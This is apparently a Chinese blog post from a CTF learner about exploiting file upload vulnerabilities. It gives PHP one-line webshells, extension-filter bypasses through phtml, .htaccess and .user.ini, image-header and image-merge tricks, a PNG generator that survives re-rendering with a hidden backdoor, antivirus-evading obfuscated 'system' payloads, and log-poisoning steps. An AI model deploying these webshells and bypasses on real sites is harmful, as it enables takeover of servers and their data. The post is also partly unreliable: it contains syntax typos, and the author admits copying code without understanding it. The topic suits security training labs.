文件上传漏洞

文件上传漏洞服务端代码未对客户端上传的文件进行严格的验证,导致漏洞。非法用户可以利用上传的恶意文件控制整个网站,这个恶意文件被称为webshell,也可以称为一种网页后门。

1、常见的WebShell有哪些?

  • 拥有较完整功能的webshell,我们一般称为大马。
  • 功能简易的webshell称为小马。
  • 除此之外还存在一句话木马、菜刀马、脱库马等等的名词,是对于webShell功能或者特性的简称。

<?php eval(%_POST['data']);?>

将这个保存在php文件中然后将文件传入服务器目录中后用中国蚁剑或中国菜刀等shell管理工具进行连接,连接成功后就可以查看服务器目录了。

2、常见的绕过方式

1、前端检测绕过

1、前端要求必须传入图片,就可以将带有一句马的php文件后缀名改为jpg或gif或png,然后上传时再抓包改变后缀名为php后成功上传

2、前端进行了php后缀过滤,用php3/php4/phtml进行绕过(phtml文件内容格式应如下)

<script language="php"> eval($_POST['data']);</script>

3、若限制了大量文件后缀,此时如果是apache服务器,可以尝试上传 .htaccess后缀文件。文件内容为:

<FilesMatch "png">
setHandler appliaction/x-httpd-php
</FileMatch>

意思是所在目录中名字包含png的文件将会被当做php代码解析,然后再上传含有一句话的png文件就好

4、服务器在后台使用函数来判断上传的文件内容是否为图片。所以如果是WebShell文件仅仅是修改了后缀,可能会被pass掉。所以,我们上传的内容必须得有真实的图片内容。

这其中一种方法是在一句话前面加一个文件头如GIF89a,另一种是直接将一句话木马的文件和图片进行合并

D:\文件上传>copy /b hi.png+hello.php hi_hello.png
hi.png
hello.pHp
已复制         1 个文件。

5、.user.ini 绕过
自 PHP 5.3.0 起,PHP支持基于每个目录的INI文件配置( .user.ini )。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

用法:
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件,那么该文件就会被包含在要执行的php文件中(如index.php)。这两个设置的区别:

auto_prepend_file是在文件前插入。
auto_append_file在文件最后插入。

语法:

auto_append_file=hello.png
or
auto_prepend_file=hello.png

6、条件竞争

如果网站的文件上传的过程是:服务器获取文件–>保存上传临时文件–>重命名移动临时文件 这样的步骤时,就可以通过不断地对文件进行上传和访问,从而使服务器还未重命名移动临时文件时,我们就利用时间差打开了文件,成功执行其中的恶意代码。

但是话又说回来,我没试过,不好说,所以跳过

7、二次渲染

文件二次渲染:当你上传一个图片后,服务器会对图片进行处理,你的后门也就很可能被处理了

解决思路:使用脚本,有人分析了图片处理的规律,使用脚本可以把后门代码写入图片而不被处理

可以利用工具来将木马插入到图片中

但是话又又又又说回来,我不会写脚本,所以从网上抄一个吧

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
?>

上传成功之后访问图片地址,在后面加入&0=system,1=tac flag.php,这个1=需要用POST方式提交

但是话又说回来我也不知道为什么

8、免杀

我们对payload进行处理,使其可以不被杀死

payload1:
<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php');?>
 
payload2:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
 
payload3:
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
 
payload4:
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

还是抄的捏(

9、日志包含

上传了.user.ini之后,访问upload目录显示403,所以我们需要上传一个index.php,构造.user.ini利用条件:上传index.php 内容随意。上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log
访问地址带后门UA头写入日志:

这里其实和160的文件包含是一样的。只是我们需要上传index.php配合.user.ini

爆出403的错误就以为着当前目录的目录文件缺失。

(依旧是抄的)直接贴原文吧:文件上传漏洞(全网最详细)-优快云博客

总之要想练文件上传可以搞一个upload-lib靶场

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值